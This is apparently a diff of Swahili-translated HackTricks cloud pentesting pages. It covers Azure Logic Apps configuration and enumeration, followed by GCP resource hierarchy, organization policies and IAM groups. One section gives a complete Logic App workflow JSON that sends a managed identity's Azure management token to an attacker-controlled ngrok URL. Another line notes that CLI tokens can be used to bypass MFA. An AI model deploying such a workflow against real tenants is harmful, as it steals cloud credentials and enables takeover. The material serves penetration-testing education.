- **Trigger access option**: Hali hii inakuwezesha kupunguza ni nani anaweza kuanzisha au kuanzisha workflow yako. Chaguzi ni IP yoyote, Workflow nyingine pekee na Mipango maalum ya IP.
- **Integration account**: Unganisha workflow yako na Akaunti ya Uunganisho.
- **High throughput**: Ikiwa imewashwa, inaruhusu kushughulikia maombi zaidi kwa wakati mmoja haraka.
- **Run history retention**: Hii inaonyesha idadi ya siku za kuhifadhi historia ya kukimbia.
- **API connections**: Hii inaonyesha uhusiano tofauti wa API ambao workflow ina. Ndani ya kila moja ya uhusiano haya wana mali tofauti na uwezekano wa kuhariri uhusiano wa API ambapo aina ya Uthibitishaji inaweza kubadilishwa.
- **History**: Ina chaguo la kufikia **history** ya utekelezaji wa zamani na kupata data: Mipangilio, Matokeo, Parameta na Msimbo.
- **Versions**: Ina chaguo la kufikia **versions** tofauti za workflow, ambapo unaweza kuangalia msimbo na kubadilisha workflow ya sasa na toleo la zamani la hiyo.
- **Managed Identities**: Inawezekana kupewa utambulisho mmoja wa mfumo wa usimamizi na utambulisho wa mtumiaji wa server kwa workflow.
### Leak MI access tokens
Hatua ya HTTP katika workflow inaweza kutumika kutuma data kwa wavuti ya nje. Katika **Advanced parameters** ya hatua ya HTTP, inawezekana kuweka **Authentication Type** kama **`Managed identity`** na kisha kuchagua **Managed Identity iliyopewa** kutumia (sistema au mtumiaji).
Zaidi ya hayo, inawezekana kuashiria katika **`Audience`** hadhira ya JWT iliyozalishwa, ambayo inaweza kuwa kwa mfano **`https://management.azure.com/`** ili kuwa na uwezo wa kutumia token iliyozalishwa kufikia Azure management API.
> [!WARNING]
> Kufanya hatua kutuma ombi la HTTP kwa server inayodhibitiwa na mshambuliaji kunaweza **kuvuja token ya ufikiaji ya utambulisho wa usimamizi** uliopewa workflow.
> [!TIP]
> Mshambuliaji pia anaweza kutumia aina nyingine za hatua ili **kufikia moja kwa moja huduma nyingine za Azure** na kufanya hatua kwa ruhusa za utambulisho wa usimamizi.
Huu ni msimbo wa workflow unaoonyesha kiungo cha HTTP na kisha unatumia hatua ya HTTP kuvuja token ya ufikiaji kwa URL iliyowekwa (ngrok katika kesi hii):
<details>
<summary>Workflow code</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logic Apps / Mpango wa Kawaida
### Tofauti na "Mifumo" ya Kipekee
Logic apps kimsingi hutumia Huduma ya Programu katika mandharinyuma ili **kuhifadhi logic app ambayo inaweza kuhifadhi mifumo kadhaa**. Hii ina maana kwamba logic app itakuwa na vipengele vyote vya Huduma ya Programu na ya "Mifumo" ya Kipekee.
Baadhi ya vipengele muhimu ni:
- **Mpango wa Huduma ya Programu**: Logic Apps katika mpango wa Kawaida zinahifadhiwa kwenye Mpango wa Huduma ya Programu hivyo inawezekana kutumia vipengele vyote vya Huduma ya Programu kama:
- **Vikwazo vya Mtandao**: Onyesha kutoka wapi inapatikana.
- **Kituo cha Utekelezaji**: Teua kutoka kwa majukwaa ya nje kama Github, Bitbucket, Azure Repos, Git ya Nje na Git ya Mitaa.
- **Upatikanaji wa FTP**: Inawezekana kufikia faili za Logic App kupitia FTP.
- **Akaunti ya Hifadhi**: Programu ya huduma inatumia akaunti ya hifadhi kuhifadhi taarifa.
- **Mabadiliko ya Mazingira na Mipangilio ya Programu**: Inawezekana kusanidi mabadiliko ya mazingira na mipangilio ya programu (na kupata taarifa nyeti kama funguo za ufikiaji kwa akaunti ya hifadhi).
- ...
- **Parameta**: Parameta zinakuwezesha kudhibiti thamani zinazobadilika kati ya maendeleo, mtihani, na uzalishaji. Hii inakuwezesha kubuni mifumo kwanza, kisha kurekebisha mipangilio maalum ya mazingira kwa urahisi baadaye.
- **Rasilimali Maalum**: Logic Apps katika mpango wa Kawaida zina rasilimali maalum.
- **Mifumo Mingi**: Inaruhusu kuunda mifumo mingi.
Kwa maelezo zaidi kuhusu Huduma za Programu angalia:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### Uhesabu
{{#tabs }}
{{#tab name="az cli" }}
@@ -203,19 +279,21 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### Akaunti za Uunganisho
## Akaunti za Uunganisho
**Akaunti za Uunganisho**, ni kipengele cha Azure Logic Apps. Akaunti za Uunganisho zinatumika kuwezesha uunganisho wa kiwango cha biashara kwa kuwezesha uwezo wa juu wa B2B, kama vile EDI, AS2, na usimamizi wa muundo wa XML. Akaunti za Uunganisho ni kontena katika Azure ambazo zinahifadhi vitu vifuatavyo vinavyotumika kwa Logic Apps:
* Mifano: Simamia mifano ya XML kwa ajili ya kuthibitisha na kushughulikia ujumbe katika akaunti yako ya uunganisho.
* Ramani: Sanidi mabadiliko yanayotegemea XSLT kubadilisha muundo wa data ndani ya mifumo yako ya uunganisho.
* Mkusanyiko: Simamia mkusanyiko wa akaunti za uunganisho ili kuboresha mantiki na usindikaji wa data.
* Vyeti: Shughulikia vyeti kwa ajili ya kuficha na kusaini ujumbe, kuhakikisha mawasiliano salama.
* Washirika: Simamia taarifa za washirika wa biashara kwa ajili ya shughuli za B2B, kuwezesha uunganisho usio na mshono.
* Makubaliano: Sanidi sheria na mipangilio ya kubadilishana data na washirika wa biashara (mfano, EDI, AS2).
* Mipangilio ya Kundi: Simamia mipangilio ya usindikaji wa kundi ili kuunganisha na kushughulikia ujumbe kwa ufanisi.
* RosettaNet PIP: Sanidi Mchakato wa Kiolesura cha Washirika wa RosettaNet (PIPs) kwa ajili ya kuweka kiwango cha mawasiliano ya B2B.
* **Mifano**: Simamia mifano ya XML kwa ajili ya kuthibitisha na kushughulikia ujumbe katika akaunti yako ya uunganisho.
* **Ramani**: Sanidi mabadiliko yanayotegemea XSLT kubadilisha muundo wa data ndani ya mifumo yako ya uunganisho.
* **Mkusanyiko**: Simamia mkusanyiko wa akaunti za uunganisho ili kuboresha mantiki na usindikaji wa data.
* **Vyeti**: Shughulikia vyeti kwa ajili ya kuficha na kusaini ujumbe, kuhakikisha mawasiliano salama.
* **Washirika**: Simamia taarifa za washirika wa biashara kwa ajili ya shughuli za B2B, kuwezesha uunganisho usio na mshono.
* **Makubaliano**: Sanidi sheria na mipangilio ya kubadilishana data na washirika wa biashara (kwa mfano, EDI, AS2).
* **Mipangilio ya Kundi**: Simamia mipangilio ya usindikaji wa kundi ili kuunganisha na kushughulikia ujumbe kwa ufanisi.
* **RosettaNet PIP**: Sanidi Mchakato wa Kiolesura cha Washirika wa RosettaNet (PIPs) kwa ajili ya kuweka kiwango cha mawasiliano ya B2B.
#### Uhesabu
#### Uhesabuji
{{#tabs }}
{{#tab name="az cli" }}
@@ -317,7 +395,7 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
## Kuinua Mamlaka
Kama ilivyo kwa privesc za logic apps:
Kama ilivyo kwa logic apps privesc:
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
@@ -329,4 +407,10 @@ Kama ilivyo kwa privesc za logic apps:
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## Kudumu
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## **Hifadhi ya Rasilimali**
Google Cloud inatumia [Hifadhi ya Rasilimali](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) ambayo ni sawa, kimsingi, na ile ya mfumo wa kawaida wa faili. Hii inatoa mtiririko wa kazi wa kimantiki wa mzazi/kijakazi pamoja na maeneo maalum ya kiambatisho kwa sera na ruhusa.
Google Cloud inatumia [Hifadhi ya Rasilimali](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) ambayo ni sawa, kimsingi, na ile ya mfumo wa faili wa jadi. Hii inatoa mtiririko wa kazi wa kimantiki wa mzazi/mtoto pamoja na maeneo maalum ya kiambatisho kwa sera na ruhusa.
Kwa kiwango cha juu, inaonekana hivi:
```
@@ -13,32 +13,38 @@ Organization
--> Projects
--> Resources
```
Masafa ya mashine ya virtual (inayoitwa Compute Instance) ni rasilimali. Rasilimali inapatikana katika mradi, labda pamoja na Compute Instances nyingine, mifuko ya uhifadhi, n.k.
Masafa ya mashine ya virtual (inayoitwa Compute Instance) ni rasilimali. Rasilimali inapatikana katika mradi, labda pamoja na Compute Instances nyingine, ndoo za uhifadhi, n.k.
## **Uhamasishaji wa Miradi**
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
Inawezekana **kuhamasisha mradi bila shirika lolote** kwenda shirika lenye ruhusa `roles/resourcemanager.projectCreator` na `roles/resourcemanager.projectMover`. Ikiwa mradi uko ndani ya shirika lingine, inahitajika kuwasiliana na msaada wa GCP ili **kuhamasisha kutoka shirika hilo kwanza**. Kwa maelezo zaidi angalia [**hii**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
## **Uhamishaji wa Miradi**
Inawezekana **kuhamasisha mradi bila shirika** kwenda shirika lenye ruhusa `roles/resourcemanager.projectCreator` na `roles/resourcemanager.projectMover`. Ikiwa mradi uko ndani ya shirika lingine, inahitajika kuwasiliana na msaada wa GCP ili **kuhamasisha kutoka shirika kwanza**. Kwa maelezo zaidi angalia [**hii**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
## **Sera za Shirika**
Ruhusu kuimarisha udhibiti juu ya rasilimali za wingu za shirika lako:
Zinaruhusu kuimarisha udhibiti juu ya rasilimali za wingu za shirika lako:
- Kuimarisha udhibiti ili **kuweka vizuizi** juu ya jinsi rasilimali za shirika lako zinaweza kutumika.
- Mwelekeo na kuanzisha **mipaka** kwa timu zako za maendeleo ili kubaki ndani ya mipaka ya kufuata sheria.
- Saidia wamiliki wa miradi na timu zao kuhamasisha haraka bila wasiwasi wa kuvunja sheria.
- Mwelekeo na kuanzisha **mipaka** kwa timu zako za maendeleo ili kubaki ndani ya mipaka ya kufuata.
- Kusaidia wamiliki wa miradi na timu zao kuhamasisha haraka bila wasiwasi wa kuvunja kufuata.
Sera hizi zinaweza kuundwa ili **kuathiri shirika lote, folda au miradi**. Wana wa node ya rasilimali iliyolengwa **wanarithi sera za shirika**.
Sera hizi zinaweza kuundwa ili **kuathiri shirika lote, folda au miradi**. Wana wa node ya hiyerarhya ya rasilimali iliyolengwa **wanarithi sera ya shirika**.
Ili **kufafanua** sera ya shirika, **unachagua** [**kizuizi**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), ambacho ni aina maalum ya vizuizi dhidi ya huduma ya Google Cloud au kundi la huduma za Google Cloud. Unapanga **kizuizi hicho kwa vizuizi unavyotaka**.
Ili **kufafanua** sera ya shirika, **unachagua** [**kizuizi**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), ambacho ni aina maalum ya vizuizi dhidi ya huduma ya Google Cloud au kundi la huduma za Google Cloud. Unapanga **kizuizi hicho na vizuizi unavyotaka**.
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
#### Matumizi ya kawaida <a href="#common_use_cases" id="common_use_cases"></a>
- Punguza ushirikiano wa rasilimali kulingana na kikoa.
- Punguza matumizi ya akaunti za huduma za Usimamizi wa Utambulisho na Upatikanaji.
- Punguza matumizi ya akaunti za huduma za Usimamizi wa Utambulisho na Ufikiaji.
- Punguza eneo halisi la rasilimali mpya zilizoundwa.
- Zima uundaji wa akaunti za huduma.
Kuna vizuizi vingi zaidi vinavyokupa udhibiti wa kina wa rasilimali za shirika lako. Kwa **maelezo zaidi, angalia** [**orodha ya vizuizi vyote vya Sera za Shirika**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
Kuna vizuizi vingi zaidi vinavyokupa udhibiti wa kina wa rasilimali za shirika lako. Kwa **maelezo zaidi, angalia** [**orodha ya vizuizi vyote vya Sera ya Shirika**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
### **Sera za Shirika za Kawaida**
@@ -46,41 +52,41 @@ Kuna vizuizi vingi zaidi vinavyokupa udhibiti wa kina wa rasilimali za shirika l
<summary>Hizi ni sera ambazo Google itaongeza kwa default wakati wa kuanzisha shirika lako la GCP:</summary>
**Sera za Usimamizi wa Upatikanaji**
**Sera za Usimamizi wa Ufikiaji**
- **Wasiliana na kikoa kilichozuiliwa:** Inazuia kuongeza watumiaji kwenye Wasiliana Muhimu nje ya maeneo yako yaliyotajwa. Hii inazuia Wasiliana Muhimu kuruhusu tu utambulisho wa watumiaji waliosimamiwa katika maeneo yako yaliyoteuliwa kupokea arifa za jukwaa.
- **Ushirikiano wa kikoa kilichozuiliwa:** Inazuia kuongeza watumiaji kwenye sera za IAM nje ya maeneo yako yaliyotajwa. Hii inazuia sera za IAM kuruhusu tu utambulisho wa watumiaji waliosimamiwa katika maeneo yako yaliyoteuliwa kufikia rasilimali ndani ya shirika hili.
- **Kuzuia upatikanaji wa umma:** Inazuia mifuko ya Uhifadhi wa Wingu kufichuliwa kwa umma. Hii inahakikisha kwamba mendelevu hawezi kupanga mifuko ya Uhifadhi wa Wingu kuwa na upatikanaji wa intaneti usio na uthibitisho.
- **Upatikanaji wa kiwango cha mifuko wa umoja:** Inazuia orodha za udhibiti wa upatikanaji wa kiwango cha kitu (ACLs) katika mifuko ya Uhifadhi wa Wingu. Hii inarahisisha usimamizi wako wa upatikanaji kwa kutumia sera za IAM kwa usawa katika vitu vyote katika mifuko ya Uhifadhi wa Wingu.
- **Hitaji kuingia kwa OS:** VMs zilizoundwa katika miradi mipya zitakuwa na kuingia kwa OS kuliwezesha. Hii inakuwezesha kusimamia upatikanaji wa SSH kwa mifano yako kwa kutumia IAM bila kuhitaji kuunda na kusimamia funguo za SSH za kibinafsi.
- **Kuzuia ufikiaji wa umma:** Inazuia ndoo za Hifadhi ya Wingu kuonyeshwa kwa umma. Hii inahakikisha kwamba mendelevu hawezi kupanga ndoo za Hifadhi ya Wingu kuwa na ufikiaji wa intaneti usio na uthibitisho.
- **Ufikiaji wa kiwango cha ndoo wa umoja:** Inazuia orodha za udhibiti wa ufikiaji wa kiwango cha kitu (ACLs) katika ndoo za Hifadhi ya Wingu. Hii inarahisisha usimamizi wako wa ufikiaji kwa kutumia sera za IAM kwa njia sawa katika vitu vyote katika ndoo za Hifadhi ya Wingu.
- **Hitaji la kuingia kwa OS:** VMs zilizoundwa katika miradi mipya zitakuwa na kuingia kwa OS kuliwezesha. Hii inakuwezesha kusimamia ufikiaji wa SSH kwa mifano yako kwa kutumia IAM bila kuhitaji kuunda na kusimamia funguo za SSH za kibinafsi.
**Sera za usalama za ziada kwa akaunti za huduma**
- **Zima ruhusa za IAM za kiotomatiki:** Inazuia akaunti za huduma za App Engine na Compute Engine kupewa ruhusa ya Mhariri wa IAM kiotomatiki wakati wa uundaji wa mradi. Hii inahakikisha akaunti za huduma hazipati ruhusa za IAM zenye nguvu kupita kiasi wakati wa uundaji.
- **Zima uundaji wa funguo za akaunti za huduma:** Inazuia uundaji wa funguo za umma za akaunti za huduma. Hii husaidia kupunguza hatari ya kufichua ithibitisho endelevu.
- **Zima upakuaji wa funguo za akaunti za huduma:** Inazuia upakuaji wa funguo za umma za akaunti za huduma. Hii husaidia kupunguza hatari ya kufichua au kutumia tena vifaa vya funguo.
- **Zima uundaji wa funguo za akaunti za huduma:** Inazuia uundaji wa funguo za umma za akaunti za huduma. Hii husaidia kupunguza hatari ya kufichuliwa kwa akidi za kudumu.
- **Zima upakiaji wa funguo za akaunti za huduma:** Inazuia upakiaji wa funguo za umma za akaunti za huduma. Hii husaidia kupunguza hatari ya nyenzo za funguo kufichuliwa au kutumika tena.
**Sera za usanidi wa mtandao wa VPC salama**
- **Fafanua IP za nje zinazoruhusiwa kwa mifano ya VM:** Inazuia uundaji wa mifano ya Compute zikiwa na IP ya umma, ambayo inaweza kuzifichua kwa trafiki ya intaneti.
- **Fafanua IP za nje zinazoruhusiwa kwa mifano ya VM:** Inazuia uundaji wa mifano ya Compute zikiwa na IP ya umma, ambayo inaweza kuziweka wazi kwa trafiki ya intaneti.
* **Zima uhalisia wa ndani wa VM:** Inazuia uundaji wa VMs za ndani kwenye VMs za Compute Engine. Hii inapunguza hatari ya usalama ya kuwa na VMs za ndani zisizofuatiliwa.
- **Zima bandari ya serial ya VM:** Inazuia upatikanaji wa bandari ya serial kwa VMs za Compute Engine. Hii inazuia pembejeo kwenye bandari ya serial ya seva kwa kutumia API ya Compute Engine.
- **Zima bandari ya serial ya VM:** Inazuia ufikiaji wa bandari ya serial kwa VMs za Compute Engine. Hii inazuia ingizo kwenye bandari ya serial ya seva kwa kutumia API ya Compute Engine.
* **Punguza mitandao iliyoidhinishwa kwenye mifano ya Cloud SQL:** Inazuia maeneo ya mtandao ya umma au yasiyo ya ndani kufikia hifadhidata zako za Cloud SQL.
* **Punguza mitandao iliyothibitishwa kwenye mifano ya Cloud SQL:** Inazuia maeneo ya mtandao ya umma au yasiyo ya ndani kufikia hifadhidata zako za Cloud SQL.
- **Punguza Uhamasishaji wa Itifaki kulingana na aina ya IP:** Inazuia uhamasishaji wa itifaki ya VM kwa anwani za IP za nje.
- **Punguza Uhamishaji wa Itifaki Kulingana na aina ya Anwani ya IP:** Inazuia uhamishaji wa itifaki ya VM kwa anwani za IP za nje.
* **Punguza upatikanaji wa IP ya umma kwenye mifano ya Cloud SQL:** Inazuia uundaji wa mifano ya Cloud SQL zikiwa na IP ya umma, ambayo inaweza kuzifichua kwa trafiki ya intaneti.
* **Punguza ufikiaji wa IP ya umma kwenye mifano ya Cloud SQL:** Inazuia uundaji wa mifano ya Cloud SQL zikiwa na IP ya umma, ambayo inaweza kuziweka wazi kwa trafiki ya intaneti.
- **Punguza kuondolewa kwa dhamana ya mradi wa VPC iliyoshirikiwa:** Inazuia kufutwa kwa bahati mbaya kwa miradi ya mwenyeji wa VPC iliyoshirikiwa.
- **Punguza kuondolewa kwa dhamana ya mradi wa VPC iliyoshirikiwa:** Inazuia kufutwa kwa bahati nasibu kwa miradi ya mwenyeji wa VPC iliyoshirikiwa.
* **Weka mipangilio ya DNS ya ndani kwa miradi mipya kuwa DNS ya Kihuduma tu:** Inazuia matumizi ya mipangilio ya zamani ya DNS ambayo imepunguza upatikanaji wa huduma.
- **Skip uundaji wa mtandao wa default:** Inazuia uundaji wa kiotomatiki wa mtandao wa VPC wa default na rasilimali zinazohusiana. Hii inakwepa sheria za moto za default zenye nguvu kupita kiasi.
- **Skip default network creation:** Inazuia uundaji wa kiotomatiki wa mtandao wa VPC wa default na rasilimali zinazohusiana. Hii inakabiliwa na sheria za moto za default zenye nguvu kupita kiasi.
* **Zima matumizi ya IPv6 ya nje ya VPC:** Inazuia uundaji wa subnet za nje za IPv6, ambazo zinaweza kufichuliwa kwa upatikanaji wa intaneti usioidhinishwa.
* **Zima matumizi ya IPv6 ya nje ya VPC:** Inazuia uundaji wa subnets za nje za IPv6, ambazo zinaweza kufichuliwa kwa ufikiaji wa intaneti usioidhinishwa.
</details>
@@ -88,14 +94,14 @@ Kuna vizuizi vingi zaidi vinavyokupa udhibiti wa kina wa rasilimali za shirika l
Hizi ni kama sera za IAM katika AWS kwani **kila jukumu lina seti ya ruhusa.**
Hata hivyo, tofauti na katika AWS, hakuna **repo ya kati** ya majukumu. Badala yake, **rasilimali zinatoa majukumu X kwa wakala Y**, na njia pekee ya kugundua nani ana upatikanaji wa rasilimali ni kutumia **mbinu ya `get-iam-policy` juu ya rasilimali hiyo**.\
Hii inaweza kuwa tatizo kwa sababu hii inamaanisha kwamba njia pekee ya kugundua **ni ruhusa zipi wakala ana ni kuuliza kila rasilimali ni nani inayoipa ruhusa**, na mtumiaji huenda hana ruhusa za kupata ruhusa kutoka kwa rasilimali zote.
Hata hivyo, tofauti na katika AWS, hakuna **repo ya kati** ya majukumu. Badala yake, **rasilimali zinatoa ruhusa X kwa wakuu Y**, na njia pekee ya kujua nani ana ufikiaji wa rasilimali ni kutumia **`get-iam-policy` method juu ya rasilimali hiyo**.\
Hii inaweza kuwa tatizo kwa sababu hii inamaanisha kwamba njia pekee ya kujua **ni ruhusa zipi mkuu ana ni kuuliza kila rasilimali ni nani inatoa ruhusa**, na mtumiaji huenda asiwe na ruhusa za kupata ruhusa kutoka kwa rasilimali zote.
Kuna **aina tatu** za majukumu katika IAM:
- **Majukumu ya Msingi/Msingi**, ambayo yanajumuisha **Mmiliki**, **Mhariri**, na **Mtazamaji** ambayo yalikuwepo kabla ya kuanzishwa kwa IAM.
- **Majukumu yaliyotangazwa**, ambayo yanatoa upatikanaji wa kina kwa huduma maalum na yanadhibitiwa na Google Cloud. Kuna majukumu mengi yaliyotangazwa, unaweza **kuona yote pamoja na ruhusa zao** [**hapa**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
- **Majukumu ya Kijadi**, ambayo yanatoa upatikanaji wa kina kulingana na orodha ya ruhusa iliyotolewa na mtumiaji.
- **Majukumu yaliyotangazwa**, ambayo yanatoa ufikiaji wa kina kwa huduma maalum na yanadhibitiwa na Google Cloud. Kuna majukumu mengi yaliyotangazwa, unaweza **kuona yote pamoja na haki walizonazo** [**hapa**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
- **Majukumu ya Kijadi**, ambayo yanatoa ufikiaji wa kina kulingana na orodha ya ruhusa iliyotolewa na mtumiaji.
Kuna maelfu ya ruhusa katika GCP. Ili kuangalia ikiwa jukumu lina ruhusa unaweza [**kutafuta ruhusa hapa**](https://cloud.google.com/iam/docs/permissions-reference) na kuona ni majukumu gani yana hiyo.
@@ -104,11 +110,15 @@ Zaidi ya hayo, kumbuka kwamba **ruhusa** zitachukua **madhara** tu ikiwa zime **
Au angalia ikiwa **jukumu la kijadi linaweza kutumia** [**ruhusa maalum hapa**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
## Watumiaji <a href="#default-credentials" id="default-credentials"></a>
Katika **konso ya GCP** hakuna usimamizi wa Watumiaji au Vikundi, hiyo inafanywa katika **Google Workspace**. Ingawa unaweza kusawazisha mtoa huduma tofauti wa utambulisho katika Google Workspace.
Katika **konsoli ya GCP** hakuna usimamizi wa Watumiaji au Vikundi, hiyo inafanywa katika **Google Workspace**. Ingawa unaweza kusawazisha mtoa huduma tofauti wa utambulisho katika Google Workspace.
Unaweza kufikia watumiaji na vikundi vya Workspaces **katika** [**https://admin.google.com**](https://admin.google.com/).
Unaweza kufikia Watumiaji na vikundi vya Workspaces **katika** [**https://admin.google.com**](https://admin.google.com/).
**MFA** inaweza **kulazimishwa** kwa watumiaji wa Workspaces, hata hivyo, **mshambuliaji** anaweza kutumia tokeni kufikia GCP **kupitia cli ambayo haitalindwa na MFA** (italindwa na MFA tu wakati mtumiaji anapoingia kuunda hiyo: `gcloud auth login`).
@@ -116,7 +126,7 @@ Unaweza kufikia watumiaji na vikundi vya Workspaces **katika** [**https://admin.
Wakati shirika linaundwa vikundi kadhaa **vinapendekezwa kwa nguvu kuundwa.** Ikiwa unasimamia yoyote kati yao unaweza kuwa umepata hatari kwa shirika lote au sehemu muhimu ya shirika:
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Kikundi</strong></td><td><strong>Funguo</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(akaunti za kikundi au mtu binafsi zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kusimamia rasilimali yoyote inayomilikiwa na shirika. Panga jukumu hili kwa uangalifu; wasimamizi wa shirika wana upatikanaji wa rasilimali zako zote za Google Cloud. Badala yake, kwa sababu kazi hii ina mamlaka makubwa, fikiria kutumia akaunti za mtu binafsi badala ya kuunda kikundi.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kuunda mitandao, subnet, sheria za moto, na vifaa vya mtandao kama vile Cloud Router, Cloud VPN, na mizani ya mzigo wa wingu.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kuweka akaunti za bili na kufuatilia matumizi yao.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kubuni, kuandika, na kupima programu.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Kuweka na kusimamia sera za usalama kwa shirika lote, ikiwa ni pamoja na usimamizi wa upatikanaji na <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">sera za vizuizi vya shirika</a>. Tazama <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">mwongozo wa misingi ya usalama wa Google Cloud</a> kwa maelezo zaidi kuhusu kupanga miundombinu yako ya usalama wa Google Cloud.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Kuunda au kusimamia mipango ya mwisho hadi mwisho inayosaidia uunganisho wa kuendelea na utoaji, ufuatiliaji, na usanidi wa mfumo.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kufuatilia matumizi kwenye miradi. Wanachama wa kawaida ni sehemu ya timu ya fedha.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua taarifa za rasilimali katika shirika la Google Cloud.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua usalama wa wingu.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua usanidi wa mtandao.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua kumbukumbu za ukaguzi.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(sio tena kwa default)</em></td><td>Kusimamia Kituo cha Amri ya Usalama.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(sio tena kwa default)</em></td><td>Kusimamia siri katika Meneja wa Siri.</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Kikundi</strong></td><td><strong>Funguo</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(akaunti za kikundi au mtu binafsi zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kusimamia rasilimali yoyote inayomilikiwa na shirika. Panga jukumu hili kwa uangalifu; wasimamizi wa shirika wana ufikiaji wa rasilimali zako zote za Google Cloud. Vinginevyo, kwa sababu kazi hii ina nguvu kubwa, fikiria kutumia akaunti za kibinafsi badala ya kuunda kikundi.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kuunda mitandao, subnets, sheria za moto, na vifaa vya mtandao kama vile Cloud Router, Cloud VPN, na mizani ya mzigo wa wingu.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kuweka akaunti za bili na kufuatilia matumizi yao.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kubuni, kuandika, na kupima programu.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Kuweka na kusimamia sera za usalama kwa shirika lote, ikiwa ni pamoja na usimamizi wa ufikiaji na <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">sera za vizuizi vya shirika</a>. Tazama <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">mwongozo wa misingi ya usalama wa Google Cloud</a> kwa maelezo zaidi kuhusu kupanga miundombinu yako ya usalama wa Google Cloud.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Kuunda au kusimamia mipango ya mwisho hadi mwisho inayosaidia uunganisho wa mara kwa mara na utoaji, ufuatiliaji, na usanidi wa mifumo.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(sasa si kwa default)</em></td><td>Kufuatilia 